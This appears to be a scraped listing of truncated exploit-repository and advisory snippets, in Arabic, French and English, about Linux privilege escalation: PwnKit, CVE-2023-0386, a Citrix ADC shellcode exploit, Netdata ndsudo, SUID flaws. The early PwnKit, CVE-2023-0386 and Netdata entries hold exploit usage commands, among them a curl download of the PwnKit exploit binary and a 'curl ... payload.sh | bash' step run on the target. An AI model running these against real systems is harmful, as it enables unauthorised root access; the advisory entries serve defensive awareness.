PwnKit-CVE-2021-4034

PwnKit إثبات المفهوم لـ PwnKit / CVE-2021-4034 - تصعيد الامتيازات المحلية لـ Pkexec الاستغلال يدويًا root@kitploit: curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command تم...

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

CVE-2021-30357CheckPointSNXVPNPoC إثبات المفهوم لقراءة ملفات مميزة من خلال عميل CheckPoint SNX VPN Linux Client. الإصدار المتأثر CheckPointVPNSNXLinux800007075.sh MD5 Checksum: 4372e9936e2dfb1d1ebcef3ed4dd7787 الاستغلال لاستغلال الثغرة، قم بتحميل أي ملف كملف تكوين SNX باستخدام المعامل -f. إذا لم...

CVE-2023-0386

typora-copy-images-to: ./image CVE-2023-0386 Utilisation de l'exploit : Premièrement : Téléversez fuse.c et exp.sh dans le répertoire /tmp. Vous pouvez utiliser scp ou python3 -m http.server pour téléverser le fichier vers la cible. root@kitploit: scp /Desktop/CVE-2023-0386/exp.sh...

CVE-2023-3519

ثغرة تنفيذ الأوامر عن بُعد في Citrix ADC CVE-2023-3519 يستخدم هذا الاستغلال عناوين وشِل كود لـ Citrix VPX 13.1-48.47. للاطلاع على الشرح الكامل، انقر هنا. الاستخدام مطلوب NASM لبناء الشِل كود. root@kitploit: $ sudo apt install nasm سوف يقوم الشِل كود المضمّن بتنزيل وتشغيل سكربت شيل من خادم https...

CVE-2024-32019-poc

CVE-2024-32019-poc إثبات المفهوم لـ Netdata ndsudo قم ببناء الثنائي: root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme شغل السكربت bash: root@kitploit: bash exploit.sh على الجهاز الهدف، قم بتشغيل في دليل قابل للكتابة: root@kitploit: curl http://:8000/payload.sh | bash سيقوم تلقائيً...

CVE-2023-3460_FIX

CVE-20233460 Ce lab a été mis en place à des fins d'apprentissage et d'escalade de privilèges. Pour mettre en pratique vos compétences en escalade de privilèges, vous pouvez consulter le lien ci-dessous...

CVE-2026-71309 vulnerabilities

Vulnerabilities for packages: telegraf, rclone-fips...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: kernel (UTSA-2026-007523)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-007523 advisory. In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is...

PT-2026-30240

Name of the Vulnerable Software and Affected Versions util-linux versions prior to 2.41.4 Description A Time-of-Check-Time-of-Use TOCTOU vulnerability exists in the SUID binary /usr/bin/mount within util-linux. When setting up loop devices, the binary validates a file path with user privileges bu...

CVE-2024-34477

configureNFS in lib/common/functions.sh in FOG through 1.5.10 allows local users to gain privileges by mounting a crafted NFS share because of norootsquash and insecure. In order to exploit the vulnerability, someone needs to mount an NFS share in order to add an executable file as root. In...

CVE-2025-12424

Azure Access Technology BLU-IC2 and BLU-IC4 are vulnerable to privilege escalation due to improper privilege management in a SUID-bit binary. Affected products/versions: BLU-IC2 and BLU-IC4 up to 1.19.5. Root cause: SUID-binary enables elevation of privileges. Impact: described as Privilege Escal...

EUVD-2021-2286

Malware in sbrugna...

CVE-2021-3978

When copying files with rsync, octorpki uses the "-a" flag 0, which forces rsync to copy binaries with the suid bit set as root. Since the provided service definition defaults to root https://github.com/cloudflare/cfrpki/blob/master/package/octorpki.service this could allow for a vector, when...

CVE-2021-3978

When copying files with rsync, octorpki uses the "-a" flag 0, which forces rsync to copy binaries with the suid bit set as root. Since the provided service definition defaults to root https://github.com/cloudflare/cfrpki/blob/master/package/octorpki.service this could allow for a vector, when...

CVE-2024-36964

In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is allowed through, which causes it to be able to set among others the suid bit. This was presumably not the intent since the unix extende...

SUSE CVE-2024-36964

In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is allowed through, which causes it to be able to set among others the suid bit. This was presumably not the intent since the unix extende...

CVE-2024-36964

In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is allowed through, which causes it to be able to set among others the suid bit. This was presumably not the intent since the unix extende...

Privilege Escalation

github.com/projectcalico/calico/ is vulnerable to Privilege Escalation. The vulnerability is due to an incorrect SUID bit configuration in the Calico CNI install binary, combined with the ability to control the input binary, allows an attacker to execute an arbitrary binary with elevated privileg...

GHSA-6362-GV4M-53WW Calico privilege escalation vulnerability

In vulnerable versions of Calico v3.27.2 and below, Calico Enterprise v3.19.0-1, v3.18.1, v3.17.3 and below, and Calico Cloud v19.2.0 and below, an attacker who has local access to the Kubernetes node, can escalate their privileges by exploiting a vulnerability in the Calico CNI install binary. T...

Apache Hadoop allows local user to gain root privileges

Relative library resolution in linux container-executor binary in Apache Hadoop 3.3.1-3.3.4 on Linux allows local user to gain root privileges. If the YARN cluster is accepting work from remote authenticated users, this MAY permit remote users to gain root privileges. Hadoop 3.3.0 updated the "...